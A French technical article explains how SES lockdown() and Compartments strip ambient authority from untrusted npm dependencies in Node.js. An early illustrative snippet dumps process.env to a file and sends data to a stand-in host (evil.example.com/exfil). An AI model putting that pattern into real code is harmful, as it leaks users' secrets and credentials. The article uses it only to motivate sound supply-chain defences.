Une seule dépendance transitive compromise peut exfiltrer votre process.env, écrire sur votre système de fichiers et ouvrir des connexions sortantes. Elle n’a pas besoin d’une vulnérabilité dans votre code. Elle a juste besoin d’exister dans le même processus. En JavaScript, chaque module hérite par défaut de l’autorité complète de l’environnement d’exécution. C’est l’autorité ambiante, et la supprimer est l’une des améliorations de sécurité les plus efficaces que vous puissiez apporter à une application Node.js.

À quoi ressemble l’autorité ambiante en JavaScript

L’autorité ambiante signifie que les droits d’accès ne sont pas liés à ce qui vous a été donné. Ils sont liés à l’endroit où vous vous exécutez. N’importe quel code à l’intérieur d’un processus Node.js peut atteindre fs, http, child_process ou process.env sans demander la permission. L’environnement d’exécution rend ces globaux disponibles à chaque module, de confiance ou non.

// This module has no business touching the filesystem.
// But it can. Because it is in the same process.
import fs from 'node:fs';
import https from 'node:https';

function innocentUtility(data) {
  fs.writeFileSync('/tmp/stolen.json', JSON.stringify(process.env));
  https.get('https://evil.example.com/exfil?data=' + encodeURIComponent(data));
  return data.toUpperCase();
}

La fonction innocentUtility a été importée pour mettre une chaîne en majuscules. Parce qu’elle s’exécute à l’intérieur d’un processus Node.js, elle a aussi le pouvoir de lire les variables d’environnement et de communiquer avec l’extérieur. Il n’y a pas de sandbox. Il n’y a pas de modèle de permissions. Le code a simplement assumé ces pouvoirs parce que l’environnement d’exécution les a mis à portée de main.

Ce n’est pas hypothétique. Les attaques sur la chaîne d’approvisionnement npm exploitent régulièrement exactement cette propriété. Une dépendance malveillante ou compromise n’a pas besoin d’un zero-day. Elle a juste besoin d’être required.

Lockdown : la première coupe

Le shim SES (Secure ECMAScript), maintenu par Agoric, fournit une fonction lockdown() qui durcit l’environnement JavaScript. Elle gèle chaque prototype intégré, supprime des globaux dangereux comme eval et le constructeur Function, et empêche la pollution de prototypes. Après le lockdown, votre propre code ne peut plus altérer accidentellement ou malicieusement Array.prototype ou Object.prototype.

import 'ses';

lockdown();

// This now throws. The Function constructor is gone.
const fn = new Function('return process.env');

// This also throws. Prototypes are frozen.
Array.prototype.evil = () => {};

Le lockdown est puissant, mais il ne suffit pas à lui seul. Il empêche la manipulation de l’environnement partagé, mais il ne supprime pas l’autorité ambiante. Un module verrouillé peut toujours faire import fs from 'node:fs' et lire votre disque. Le lockdown sécurise le langage. Il ne sécurise pas l’hôte.

Compartments : dépouiller l’hôte

Un Compartment est un nouvel environnement d’exécution JavaScript avec sa propre portée globale. Contrairement à un contexte vm ou un Web Worker, un compartment partage la même boucle d’événements et le même heap, mais il commence avec rien. Pas de console, pas de fetch, pas de process. Vous devez explicitement le doter de chaque capability qu’il est autorisé à utiliser.

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

const compartment = new Compartment({
  // Only these globals exist inside the compartment.
  console,
  Math,
  JSON,
});

// This code runs inside the compartment with no ambient authority.
const result = compartment.evaluate(`
  // This throws: fetch is not defined.
  // fetch('https://evil.example.com');

  // This works: Math was endowed.
  Math.sqrt(16)
`);

console.log(result); // 4

Le compartment ne peut pas toucher le système de fichiers, le réseau ou process.env parce que ces capabilities ne lui ont jamais été passées. Si le code à l’intérieur du compartment est compromis, le rayon d’explosion est limité par ce que vous avez doté.

Charger des modules non fiables en toute sécurité

Une véritable défense de la chaîne d’approvisionnement signifie charger du code tiers à l’intérieur d’un compartment et ne lui donner que l’autorité dont il a réellement besoin. Voici un motif qui fonctionne avec CommonJS ou des bundles ESM.

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

// A constrained filesystem capability.
function createScopedReader(baseDir) {
  return {
    readFile(filename) {
      const path = require('node:path').join(baseDir, filename);
      // In production, validate the resolved path is inside baseDir.
      return readFileSync(path, 'utf-8');
    }
  };
}

const untrustedCode = readFileSync('./vendor/some-plugin.js', 'utf-8');

const compartment = new Compartment({
  console: {
    log: (...args) => console.log('[plugin]', ...args)
  },
  fs: createScopedReader('./data/readonly/'),
});

// The plugin can only read files under ./data/readonly/
// and write to a prefixed console. Nothing else.
compartment.evaluate(untrustedCode);

Le code du vendor vit dans le même processus, mais il opère à l’intérieur d’une limite de capabilities. Il ne peut pas ouvrir de sockets. Il ne peut pas lire le package.json de votre dépôt. Il peut uniquement lire les fichiers que vous avez explicitement limités et écrire dans la console via le wrapper que vous avez fourni.

Ce n’est pas un durcissement théorique. La blockchain Agoric utilise ce modèle pour sa plateforme de smart contracts. Chaque smart contract s’exécute à l’intérieur d’un compartment verrouillé avec des capabilities explicitement dotées.

Les trade-offs auxquels vous serez confrontés

Les compartments ne sont pas gratuits. Le shim SES patche les prototypes et réécrit certains comportements intégrés, ce qui ajoute un petit coût d’initialisation. Plus important encore, de nombreux paquets npm supposent une autorité ambiante. Ils atteignent process, Buffer ou setImmediate sans les importer. Quand ces globaux manquent, le code plante.

Vous avez trois choix. Premièrement, polyfill les globaux manquants à l’intérieur du compartment avec des implémentations sûres. Deuxièmement, doter les vrais globaux et accepter le risque. Troisièmement, auditer la dépendance et corriger ses hypothèses.

La plupart du temps, la dépendance n’a besoin que de Buffer ou setTimeout. Ceux-là sont sûrs à doter. Les dangereux sont fs, net, child_process et process.env. Ceux-là ne devraient jamais entrer dans un compartment à moins que le code à l’intérieur en ait réellement besoin, et même alors vous devriez les wrapper.

Le débogage devient aussi plus difficile. Les stack traces depuis l’intérieur d’un compartment pointent vers des chaînes évaluées ou des sources virtualisées. Le support des source maps de Node.js moderne aide, mais vous passerez du temps à mapper les numéros de ligne quand les choses tournent mal.

Où cela échoue

Les addons natifs et les modules WASM contournent entièrement l’environnement d’exécution JavaScript. Un fichier .node chargé avec require s’exécute en dehors du compartment SES et conserve l’autorité ambiante complète. Si vous devez sandboxer du code natif, les compartments ne sont pas la réponse. Vous avez besoin d’isolation au niveau du système d’exploitation : seccomp, Landlock ou un processus séparé.

Les compartments partagent également le même heap et la même boucle d’événements. Un compartment peut toujours affamer le CPU avec une boucle infinie ou allouer de la mémoire jusqu’à ce que le processus plante. SES fournit des compteurs de compute pour limiter l’exécution, mais le compartment par défaut n’applique pas de limites de ressources. C’est une limite de sécurité, pas une limite de ressources.

Un point de départ pratique

Vous n’avez pas besoin de réécrire toute votre application. Commencez par les dépendances les plus à risque : tout ce qui analyse des entrées non fiables, tout ce qui est chargé dynamiquement, et tout ce qui provient d’un éditeur que vous ne reconnaissez pas.

import 'ses';

lockdown();

function runUntrusted(pluginCode, userData) {
  const compartment = new Compartment({
    JSON,
    Array,
    Object,
    // No fetch, no fs, no process.
  });

  // The plugin receives data and returns a result.
  // It cannot phone home. It cannot read files.
  return compartment.evaluate(`
    (${pluginCode})(${JSON.stringify(userData)})
  `);
}

Enveloppez votre système de plugins, votre moteur de templates ou vos scripts fournis par les utilisateurs. Donnez à chacun un compartment avec l’autorité minimale dont il a besoin pour faire son travail. Si une dépendance ne fonctionne pas à l’intérieur d’un compartment, c’est un signal. Elle a été écrite en supposant qu’elle possédait tout le processus. Cette hypothèse est exactement ce que vous essayez d’éliminer.

FAQ

Quelle est la différence entre un Compartment et le module vm de Node ?

vm crée un nouveau contexte avec un objet global frais, mais il a toujours accès à l’API Node.js complète à moins que vous ne la retiriez explicitement. Les compartments commencent vides et nécessitent des endowments explicites. Ils s’intègrent également au lockdown SES pour empêcher la manipulation de prototypes dans tout l’environnement d’exécution.

Cela fonctionne-t-il avec TypeScript ou les bundlers ?

Oui. Les compartments évaluent du JavaScript, donc vous compilez d’abord le TypeScript. Les bundlers comme Rollup ou esbuild peuvent regrouper une dépendance dans un seul fichier, que vous chargez ensuite dans un compartment. Le bundler supprime les imports dynamiques, ce qui facilite en fait le sandboxing par compartment.

Puis-je révoquer une capability après l’avoir accordée ?

Pas directement. Une capability passée dans un compartment est une référence à un objet JavaScript. Si vous avez besoin de révocation, enveloppez la capability dans un proxy ou un wrapper à jeton qui vérifie un drapeau à chaque accès. C’est le même problème de révocation auquel font face tous les systèmes de capabilities.

SES est-il prêt pour la production ?

SES fonctionne en production sur la blockchain Agoric depuis 2021. Le paquet ses sur npm est activement maintenu. Il passe par le processus de propositions TC39 pour la standardisation JavaScript, bien qu’il ne fasse pas encore partie de la spécification du langage.

Cela remplace-t-il la containerization ?

Non. Les compartments sont une limite de sécurité au niveau du processus. Les containers sont une limite du système d’exploitation. Utilisez les compartments pour limiter ce que le code à l’intérieur de votre processus peut faire. Utilisez les containers pour limiter ce que le processus lui-même peut faire. Ils se superposent.

L’autorité ambiante est la valeur par défaut en JavaScript parce qu’elle est pratique. La praticité et la sécurité ne sont pas la même chose. Le lockdown et les compartments vous permettent de retirer le pouvoir ambiant que chaque module hérite par défaut et de le remplacer par des capabilities explicites, limitées et auditables. Commencez avec une dépendance non fiable. Mettez-la dans un compartment. Retirez-lui son fs et son fetch. Voyez ce qui casse réellement. La plupart du temps, ce qui casse est une hypothèse que votre dépendance n’avait jamais le droit de faire.